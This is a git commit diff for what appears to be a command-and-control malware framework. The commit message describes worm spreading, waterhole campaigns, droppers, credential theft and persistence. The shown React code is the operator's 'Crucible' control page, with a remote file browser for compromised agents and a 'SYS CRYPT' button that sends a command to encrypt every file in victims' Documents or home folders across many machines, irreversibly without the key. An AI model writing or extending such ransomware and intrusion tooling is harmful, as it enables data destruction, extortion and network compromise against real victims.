feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
@@ -14,7 +14,9 @@ import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
|
||||
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
|
||||
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
|
||||
import FileManager from '../components/Fleet/FileManager';
|
||||
import RemoteDirBrowser from '../components/Fleet/RemoteDirBrowser';
|
||||
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
|
||||
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
|
||||
import '../components/Fleet/FullSysCheckPanel.css';
|
||||
import '../components/Fleet/ProtocolTunnelPanel.css';
|
||||
import './CruciblePage.css';
|
||||
@@ -365,6 +367,28 @@ export default function CruciblePage() {
|
||||
|
||||
const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
|
||||
|
||||
const encryptTargets = useMemo(
|
||||
() => selectedAgents.filter(online).map((a) => ({ id: a.id, name: a.name })),
|
||||
[selectedAgents]
|
||||
);
|
||||
|
||||
const browseAgent = singleSelectedAgent ?? selectedAgents.find(online) ?? null;
|
||||
|
||||
const appendTerminalLine = useCallback((text: string, isCmd = false) => {
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(),
|
||||
agentId: 'local',
|
||||
agentName: 'YOU',
|
||||
isCmd,
|
||||
text,
|
||||
ts: new Date(),
|
||||
targeted: true,
|
||||
},
|
||||
].slice(-2000));
|
||||
}, []);
|
||||
|
||||
/** One online target selected — sidebar matrix switches to gold forge-style rain. */
|
||||
const crucibleTargetReady =
|
||||
selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
|
||||
@@ -1153,6 +1177,29 @@ export default function CruciblePage() {
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<CrucibleExpandedOps
|
||||
selectedAgents={selectedAgents}
|
||||
selectedCount={selectedIds.size}
|
||||
singleSelectedAgent={singleSelectedAgent}
|
||||
commandResults={commandResults}
|
||||
onEcho={appendTerminalLine}
|
||||
onAgentError={(agentId, agentName, action, err) => {
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(),
|
||||
agentId,
|
||||
agentName,
|
||||
isCmd: false,
|
||||
text: `[ERROR] ${action}: ${err instanceof Error ? err.message : String(err)}`,
|
||||
ts: new Date(),
|
||||
success: false,
|
||||
targeted: true,
|
||||
},
|
||||
]);
|
||||
}}
|
||||
/>
|
||||
|
||||
{/* ── SSH ──────────────────────────────────────── */}
|
||||
<div className="crucible-op-group cop-ssh">
|
||||
<span className="cop-label">SSH</span>
|
||||
@@ -1239,13 +1286,13 @@ export default function CruciblePage() {
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* ── Sys Crypt ────────────────────────────────── */}
|
||||
{/* ── Sys Crypt + remote browser ───────────────── */}
|
||||
<div className="crucible-op-group cop-destructive">
|
||||
<span className="cop-label">⚠ Destructive</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title="AES-256-GCM encrypt every file in the target's Documents folder (Windows only, requires Remote Aggressive Ops)"
|
||||
title="AES-256-GCM encrypt every file in Documents/home (legacy shortcut; requires Remote Aggressive Ops)"
|
||||
style={{
|
||||
background: 'linear-gradient(135deg, #7b0000 0%, #cc0000 100%)',
|
||||
border: '1px solid #ff2222',
|
||||
@@ -1254,7 +1301,7 @@ export default function CruciblePage() {
|
||||
letterSpacing: '0.06em',
|
||||
}}
|
||||
onClick={() => {
|
||||
if (!confirm(`SYS CRYPT — encrypt Documents on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
|
||||
if (!confirm(`SYS CRYPT — encrypt Documents/home on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
|
||||
Promise.all(
|
||||
selectedAgents.filter(online).map((a) =>
|
||||
api.sendAgentCommand(a.id, 'sys_crypt').catch((err) => {
|
||||
@@ -1269,19 +1316,29 @@ export default function CruciblePage() {
|
||||
})
|
||||
)
|
||||
);
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(), agentId: 'local', agentName: 'YOU',
|
||||
isCmd: true,
|
||||
text: `SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents`,
|
||||
ts: new Date(),
|
||||
},
|
||||
]);
|
||||
appendTerminalLine(`SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents/home`, true);
|
||||
}}
|
||||
>
|
||||
🔒 SYS CRYPT ({selectedIds.size})
|
||||
</button>
|
||||
{browseAgent && selectedIds.size > 0 ? (
|
||||
<>
|
||||
{selectedIds.size > 1 && (
|
||||
<p className="form-hint" style={{ margin: '0.35rem 0 0', fontSize: '0.72rem' }}>
|
||||
Browsing {browseAgent.name} only — Encrypt applies to all {encryptTargets.length} online selection(s).
|
||||
</p>
|
||||
)}
|
||||
<RemoteDirBrowser
|
||||
agentId={browseAgent.id}
|
||||
agentName={browseAgent.name}
|
||||
platform={browseAgent.platform}
|
||||
online={online(browseAgent)}
|
||||
encryptTargets={encryptTargets}
|
||||
commandResults={fmCommandResults}
|
||||
onTerminalLine={appendTerminalLine}
|
||||
/>
|
||||
</>
|
||||
) : null}
|
||||
</div>
|
||||
|
||||
{/* ── SUPP Seek Mode ───────────────────────────── */}
|
||||
|
||||
Reference in New Issue
Block a user